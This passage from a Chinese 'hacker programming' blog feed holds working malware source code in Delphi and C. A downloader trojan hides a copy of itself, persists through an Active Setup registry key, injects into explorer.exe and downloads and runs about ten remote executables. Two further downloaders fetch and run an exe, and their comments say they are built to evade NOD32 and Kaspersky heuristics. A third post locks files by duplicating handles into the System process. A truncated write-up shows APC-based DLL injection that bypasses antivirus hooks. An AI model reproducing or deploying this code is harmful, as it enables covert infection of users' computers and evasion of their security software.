false;<br/>RegCreateKey(key,PChar(subkey),regkey);<br/>if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then<br/>result := true;<br/>RegCloseKey(regkey);<br/><br/>end;<br/><br/>//插入media player用到的函数<br/>function GetwmAppPath:string;<br/>var<br/>wmkey: Hkey;<br/>iename: array [0..255] of char;<br/>vType,dLength :DWORD;<br/>begin<br/><br/>vType := REG_SZ;<br/>RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.EXE',0,KEY_ALL_ACCESS,wmkey);<br/>dLength := SizeOf(iename);<br/>if RegQueryValueEx(wmkey, '' , nil, @vType, @iename[0], @dLength) = 0 then<br/>Result := iename<br/>else<br/>Result := '%programfiles%\Windows Media Player\wmplayer.EXE';<br/>RegCloseKey(wmkey);<br/>end;<br/><br/>procedure Download; //下载过程<br/>begin<br/>LoadLibrary('kernel32.dll');<br/>LoadLibrary('user32.dll');<br/>hShell:=LoadLibrary('Shell32.dll');<br/>hUrlmon:=LoadLibrary('unlmon.dll');<br/>@ShellRun:= GetProcAddress(hShell,'ShellExecuteA');<br/>@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');<br/>Downfile(nil,'http://x1xxxxxxxxxxxxxxxxxxxx                         ','C:\WINDOWS\Temp\system1.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system1.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system2.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system2.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system3.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system3.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system4.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system4.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system5.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system6.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system6.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system7.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system8.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system8.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://x9xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system9.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\system9.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://xAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemA.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\systemA.exe',nil,nil,5);<br/><br/>Downfile(nil,'http://xBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemB.exe', 0, nil);<br/>ShellRun(0,'open','C:\WINDOWS\Temp\systemB.exe',nil,nil,5);<br/><br/><br/>ExitProcess(0);<br/>end;<br/><br/>procedure Inject(ProcessHandle: longword; EntryPoint: pointer);<br/>var<br/>Module, NewModule: Pointer;<br/>Size, BytesWritten, TID: longword;<br/>begin<br/>//这里得到的值为一个返回指针型变量,指向内容包括进程映像的基址<br/>Module := Pointer(GetModuleHandle(nil));<br/>//得到内存映像的长度<br/>Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew +<br/>SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;<br/>//在Exp进程的内存范围内分配一个足够长度的内存<br/>VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);<br/>//确定起始基址和内存映像基址的位置<br/>NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br/>//确定上面各项数据后,这里开始进行操作<br/>WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);<br/>//建立远程线程,至此注入过程完成<br/>CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID); <br/>end;<br/><br/>procedure RunInject(InjType:integer);<br/>var<br/>ProcessHandle, PID: longword;<br/><br/>begin<br/>if InjType=0 then //注入explorer.exe<br/>begin<br/>//获取Exp进程的PID码<br/>GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);<br/>end<br/>else<br/>if InjType=3 then //注入 media player<br/>begin<br/>winexec(PChar(GetwmAppPath),sw_hide);<br/>sleep(500);<br/>GetWindowThreadProcessId(FindWindow('WMPlayerApp', nil), @Pid);<br/>end<br/>else //注入iexplore.exe<br/>begin<br/>//CreateProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);<br/>winexec(PChar(GetIEAppPath),sw_hide);<br/>sleep(500);<br/>GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid);<br/>end;<br/>//打开进程<br/>ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);<br/>Inject(ProcessHandle, @Download);<br/>//关闭对像<br/>CloseHandle(ProcessHandle);<br/>end;<br/><br/><br/>BEGIN<br/><br/>CopyFile('C:\windows\system32\urlmon.dll','C:\windows\system32\unlmon.dll',true) ;<br/>copyfile(pchar(paramstr(0)),pchar('C:\Program Files\Internet Explorer\iede.exe'),true);<br/>SetFileAttributes( 'C:\Program Files\Internet Explorer\iede.exe',<br/>FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM );//设置文件系统隐藏属性<br/>//activex自启动<br/>skrivreg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{926A036A-158B-047A-E269-D148B0369C14}','StubPath','C:\Program Files\Internet Explorer\iede.exe');<br/>RunInject(0); //这里改为 ：1 注入iexplore.exe 0 注入explorer.exe 3注人media player<br/>end.<br/></pre></div><p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html" target="_blank">继续阅读《ActiveX启动下载者（delphi）》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=394</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=394&amp;key=fd7107b2</trackback:ping></item><item><title>最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html</link><pubDate>Tue, 18 May 2010 03:38:58 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html</guid><description><![CDATA[<p>VC版本：</p><div class="codes"><pre class="php" name="code">#pragma comment(lib, &quot;urlmon.lib&quot;)<br/>#include<br/>#pragma comment(linker,&quot;/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200&quot;)<br/>#pragma comment(linker,&quot;/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text&quot;)<br/><br/>int DownExeTest()<br/>{<br/>char strPath[MAX_PATH];<br/>HANDLE hMutex = NULL;<br/>hMutex = CreateMutex(NULL, FALSE, &quot;TestC&quot;);<br/>if (hMutex != NULL)<br/>{<br/>if (GetLastError() == ERROR_ALREADY_EXISTS)<br/>{<br/>{<br/>URLDownloadToFile(0, &quot;http://127.0.0.1/1.exe&quot;, &quot;C:\\aaa.exe&quot;, 0, 0);<br/>WinExec(&quot;C:\\aaa.exe&quot;, SW_SHOW);<br/>ExitProcess(-1);<br/>}<br/>}<br/>else<br/>{<br/>GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));<br/>WinExec(strPath, SW_HIDE);<br/>ExitProcess(-1);<br/>}<br/>}<br/>return 0;<br/>}<br/>/*<br/>int DownExe()<br/>{<br/>URLDownloadToFile(0, &quot;http://127.0.0.1/1.exe&quot;, &quot;C:\\aaa.exe&quot;, 0, 0);<br/>WinExec(&quot;C:\\aaa.exe&quot;, SW_SHOW);<br/>ExitProcess(-1);<br/>return 0;<br/>}<br/>*/<br/>int Simen()<br/>{<br/>//DownExe(); //没有处理的 被杀..<br/>DownExeTest(); //处理的 免杀..<br/>return 0; <br/><br/></pre><p><b style="color: black; background-color: #ffff66">Delphi</b>版本:</p></div><p>&nbsp;</p><div class="codes"><pre class="delphi" name="code">program Main;<br/>uses<br/>Windows,<br/>Urlmon;<br/>procedure DownExeTest();<br/>var<br/>MutexHandle: dword;<br/>begin<br/>MutexHandle := CreateMutex(nil, True, 'TestD');<br/>if MutexHandle &lt;&gt; 0 then<br/>begin<br/>if GetLastError = ERROR_ALREADY_EXISTS then<br/>begin<br/>URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);<br/>WinExec('c:\test.exe', SW_SHOW);<br/>end else<br/>begin<br/>WinExec(pchar(paramstr(0)),SW_HIDE);<br/>end;<br/>end;<br/>end;<br/><br/>{<br/>procedure DownExe();<br/>begin<br/>URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);<br/>WinExec('c:\test.exe', SW_SHOW);<br/>end;<br/>}<br/><br/>begin<br/>// DownExe(); //没有处理的 被杀..<br/>DownExeTest(); //处理的 免杀..<br/>end.<br/><br/>}<br/></pre></div><p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html" target="_blank">继续阅读《最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/dazaowuDLLbanchuanqiangDownloader.html" title="打造无DLL版穿墙Downloader">打造无DLL版穿墙Downloader</a>&nbsp;&nbsp;(2009-1-20 6:49:53)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/yongDelphishixianwenjianxiazaidejizhongfangfa.html" title="用Delphi实现文件下载的几种方法">用Delphi实现文件下载的几种方法</a>&nbsp;&nbsp;(2009-1-20 6:14:51)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=393</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=393&amp;key=59bc6207</trackback:ping></item><item><title>未命名文章</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html</link><pubDate>Tue, 18 May 2010 03:29:45 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html</guid><description><![CDATA[<div class="codes">原理是以独占的方式打开文件，再把文件句柄复制到另一个程序中去，达到本程序退出后目标文件仍被打开的目的</div><div class="codes"><pre class="delphi" name="code">program createfile;  <br/>uses  <br/>  Windows, SysUtils;  <br/>//提权函数  <br/>procedure SetPrivilege;  <br/>var  <br/>  TPPrev, TP: TTokenPrivileges;  <br/>  TokenHandle: THandle;  <br/>  dwRetLen: DWORD;  <br/>  lpLuid: TLargeInteger;  <br/>begin  <br/>  OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle);  <br/>  if (LookupPrivilegeValue(nil, &rsquo;SeDebugPrivilege&rsquo;, lpLuid)) then  <br/>  begin  <br/>    TP.PrivilegeCount := 1;  <br/>    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;  <br/>    TP.Privileges[0].Luid := lpLuid;  <br/>    AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);  <br/>  end;  <br/>  CloseHandle(TokenHandle);  <br/>end;  <br/>procedure OccupyFile(lpFileName: string);  <br/>var  <br/>  hProcess, hFile, hTargetHandle: thandle;  <br/>begin  <br/>　//打开一个pid为４的进程，只要是存在的进程，都可以  <br/>  hProcess := OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);  <br/>  if (hProcess = 0) then exit;  <br/>  //以独占模式打开目标文件  <br/>  hFile := CreateFileA(PChar(lpFileName), GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);  <br/>  if (hFile = INVALID_HANDLE_VALUE) then  <br/>  begin  <br/>    CloseHandle(hProcess);  <br/>    exit;  <br/>  end;  <br/>  //把文件句柄复制到pid=4的进程中去，这样，只要pid=4的进程不退出，谁也动不了目标文件  <br/>  DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE);  <br/>  CloseHandle(hProcess);    <br/>end;  <br/>begin  <br/>  SetPrivilege;  <br/>  OccupyFile(&rsquo;D:\Program Files\工具软件\任务管理.exe&rsquo;);//这是要保护的程序名  <br/>end. <br/><br/></pre><p>以下是vc6.0代码</p><p>#include&nbsp;&nbsp;&nbsp; <br /><br/><br /><br/>//提权函数&nbsp;&nbsp; <br /><br/>void&nbsp;RaiseToDebugP()&nbsp;&nbsp; <br /><br/>{&nbsp;&nbsp; <br /><br/>HANDLE&nbsp;hToken;&nbsp;&nbsp; <br /><br/>HANDLE&nbsp;hProcess&nbsp;=&nbsp;GetCurrentProcess();&nbsp;&nbsp; <br /><br/>if&nbsp;(&nbsp;OpenProcessToken(hProcess,&nbsp;TOKEN_ADJUST_PRIVILEGES&nbsp;|&nbsp;TOKEN_QUERY,&nbsp;&amp;hToken)&nbsp;)&nbsp;&nbsp; <br /><br/>{&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;TOKEN_PRIVILEGES&nbsp;tkp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;if&nbsp;(&nbsp;LookupPrivilegeValue(NULL,&nbsp;SE_DEBUG_NAME,&nbsp;&amp;tkp.Privileges[0].Luid)&nbsp;)&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;{&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;tkp.PrivilegeCount&nbsp;=&nbsp;1;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;tkp.Privileges[0].Attributes&nbsp;=&nbsp;SE_PRIVILEGE_ENABLED;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;BOOL&nbsp;bREt&nbsp;=&nbsp;AdjustTokenPrivileges(hToken,&nbsp;FALSE,&nbsp;&amp;tkp,&nbsp;0,&nbsp;NULL,&nbsp;0)&nbsp;;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;}&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;CloseHandle(hToken);&nbsp;&nbsp; <br /><br/>}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>}&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;BOOL&nbsp;OccupyFile(&nbsp;LPCTSTR&nbsp;lpFileName&nbsp;)&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;{&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;&nbsp;&nbsp;&nbsp;bRet;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//提升自身权限&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RaiseToDebugP();&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;//打开一个pid为４的进程，只要是存在的进程，都可以&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hProcess&nbsp;=&nbsp;OpenProcess(&nbsp;PROCESS_DUP_HANDLE,&nbsp;FALSE,&nbsp;4);&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;4为system进程号&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;hProcess&nbsp;==&nbsp;NULL&nbsp;)&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hFile;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hTargetHandle;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;//以独占模式打开目标文件&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;hFile&nbsp;=&nbsp;CreateFile(&nbsp;lpFileName,&nbsp;GENERIC_READ,&nbsp;0,&nbsp;NULL,&nbsp;OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,&nbsp;NULL);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;hFile&nbsp;==&nbsp;INVALID_HANDLE_VALUE&nbsp;)&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(&nbsp;hProcess&nbsp;);&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;//把文件句柄复制到pid=4的进程中去，这样，只要pid=4的进程不退出，谁也动不了目标文件&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;bRet&nbsp;=&nbsp;DuplicateHandle(&nbsp;GetCurrentProcess(),&nbsp;hFile,&nbsp;hProcess,&nbsp;&amp;hTargetHandle,&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;FALSE,&nbsp;DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(&nbsp;hProcess&nbsp;);&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;bRet;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;}&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;//入口函数&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;int&nbsp;main()&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;{&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OccupyFile(&quot;D:\\Program&nbsp;Files\\工具软件\\任务管理.exe&quot;);&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&nbsp;&nbsp; <br /><br/>&nbsp;&nbsp;}&nbsp; <br /><br/><br /><br/>&nbsp;</p></div><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html" target="_blank">继续阅读《未命名文章》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html" title="绕过主动防御的代码注入方法(非DELPHI代码)">绕过主动防御的代码注入方法(非DELPHI代码)</a>&nbsp;&nbsp;(2010-5-18 3:27:45)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiMemo/380.html" title="无法获取到某窗体中控件的句柄,应如何处理">无法获取到某窗体中控件的句柄,应如何处理</a>&nbsp;&nbsp;(2010-5-18 2:58:32)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/xiazaizheyuandaima.html" title="下载者源代码">下载者源代码</a>&nbsp;&nbsp;(2008-12-28 23:40:44)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=392</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=392&amp;key=700ea4c9</trackback:ping></item><item><title>绕过主动防御的代码注入方法(非DELPHI代码)</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html</link><pubDate>Tue, 18 May 2010 03:27:45 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html</guid><description><![CDATA[<p><span style="color: #ff0000">明生注：这并非是一份<b style="color: black; background-color: #ffff66">DELPHI</b>代码，但是里面的东西值得学习。如果学远程注入可以找到相关的资料所以我就转过来了</span></p><div>by:shineastdh</div><div>目前大多数的杀软都是hook NtWriteVirtualMemory和<span style="font-size: 10.5pt">NtUserSetWindowsHookAW、</span><span style="font-size: 10.5pt">NtUserSetWindowsHookE</span>来防止代码注入。</div><div>关于代码注入Ring3层的方法主要有：</div><div style="margin: 0cm 0cm 0pt 60pt; text-indent: -21pt"><span>l</span>远程线程CreateRemoteThread</div><div style="margin: 0cm 0cm 0pt 60pt; text-indent: -21pt"><span>l</span>消息钩子SetWindowsHookEx</div><div style="margin: 0cm 0cm 0pt 60pt; text-indent: -21pt"><span>l</span>Ring3 APC QueueUserApc</div><div style="margin: 0cm 0cm 0pt 60pt; text-indent: -21pt"><span>l</span>修改线程上下文SetContextThread</div><div>其中第一种和第三种方法需要传入一个param，但是要求这个param必须在目标进程内存空间，之前的一些方法比较笨重，直接在目标进程VirtualAllocEx内存，然后把希望的参数内容写入这个内存，使用了WriteProcessMemory函数，而这个函数是被hook的，所以杀软可以很容易的拦截代码注入行为。</div><div>仔细想想，杀软的这种防御是很失败的！原因是为了要一个param，攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存，我在思考是否可以不用WriteProcessMemory函数呢？反正我的目的就是得到一个合理的param，并且这个param是在目标进程内存空间即可！</div><div>思考后，原来一切是这么容易啊，哈哈！乐了我半天~~~</div><div>举个例子：假设我是这样注入的：</div><div>QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;</div><div>我想让上面的param的内容是一个&ldquo;xxx.dll&rdquo;,就可以了，而且要求这个param是在目标进程内存空间</div><div>您想到了么？哈哈</div><div>答案：直接在目标进程搜索一个这样的字符串&ldquo;nel32.dll&rdquo;就可以啦！因为&ldquo;kernel32.dll&rdquo; 这样的字符串是一定存在的，那么为了和&ldquo;kernel32.dll&rdquo; 不一样，那就随便使用一下&ldquo;nel32.dll&rdquo;，或者&ldquo;el32.dll&rdquo;，都是可以的啊！最后在往windows目录下面撂进入一个nel32.dll，这样注入大部分杀软都是不能拦截到的！哈哈！</div><div>写了段程序，做了个试验，仅测试了下趋势，完美绕过！其实杀软稍后测试。。。</div><div>DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)<br /><br/>{<br /><br/>TIDLIST *pCurrentTid = pThreadIdList ;<br /><br/><br /><br/>const char szInjectModName[] = &quot;nel32.dll&quot;;<br /><br/>DWORD dwLen = strlen(szInjectModName) ;</div><div>//////////////////////////////////////////////////////////////////////////<br /><br/>//不写目标进程的内存<br /><br/>//直接在目标进程中搜索出 nel32.dll 这样的字符串 并注入<br /><br/>//////////////////////////////////////////////////////////////////////////<br /><br/>int bufflen=30000;<br /><br/>char *buffer=(char *)malloc(sizeof(char)*bufflen);<br /><br/>DWORD dwNumberOfBytesRead;<br /><br/>DWORD defaultAddress;<br /><br/>//获得该进程的基址<br /><br/>HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;<br /><br/>if(!hSnapshot)<br /><br/>{<br /><br/>&nbsp;&nbsp; printf(&quot;CreateToolhelp32Snapshot error!\n&quot;);<br /><br/>&nbsp;&nbsp; return 0;<br /><br/>}<br /><br/>MODULEENTRY32 me = { sizeof(me) }; <br /><br/>&nbsp;&nbsp;&nbsp; BOOL fOk =Module32First(hSnapshot,&amp;me);<br /><br/>if(!fOk)<br /><br/>{<br /><br/>&nbsp;&nbsp; printf(&quot;Module32First error!\n&quot;);<br /><br/>&nbsp;&nbsp; return 0;<br /><br/>}<br /><br/>&nbsp;&nbsp;&nbsp; for (; fOk; fOk = Module32Next(hSnapshot,&amp;me))<br /><br/>&nbsp;&nbsp;&nbsp; { <br /><br/>&nbsp;&nbsp; printf(&quot;%s process module name = %s\n&quot;,processName,me.szModule);<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 取得进程模块基址<br /><br/>&nbsp;&nbsp; if(stricmp(me.szModule,processName)==0)<br /><br/>&nbsp;&nbsp; {<br /><br/>&nbsp;&nbsp;&nbsp; defaultAddress=(DWORD)me.modBaseAddr;<br /><br/>&nbsp;&nbsp;&nbsp; printf(&quot;%s process module base = 0x%08X\n&quot;,processName,defaultAddress);<br /><br/>&nbsp;&nbsp;&nbsp; break;<br /><br/>&nbsp;&nbsp; }<br /><br/>&nbsp;&nbsp;&nbsp; }<br /><br/>//搜索<br /><br/>if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&amp;dwNumberOfBytesRead))<br /><br/>{<br /><br/>&nbsp;&nbsp; printf(&quot;ReadProcessMemory error!\n&quot;);<br /><br/>&nbsp;&nbsp; return 0;<br /><br/>}<br /><br/><br /><br/>for(int i=0;i&lt;bufflen-dwLen;i++)<br /><br/>{<br /><br/>&nbsp;&nbsp; if(strnicmp(buffer+i,szInjectModName,dwLen)==0)<br /><br/>&nbsp;&nbsp; {<br /><br/>&nbsp;&nbsp;&nbsp; printf(&quot;found nel32.dll already!... %s\n&quot;,buffer+i);<br /><br/>&nbsp;&nbsp;&nbsp; while (pCurrentTid)<br /><br/>&nbsp;&nbsp;&nbsp; {<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid-&gt;dwTid) ;<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; if (hThread != NULL)<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 注入DLL到指定进程<br 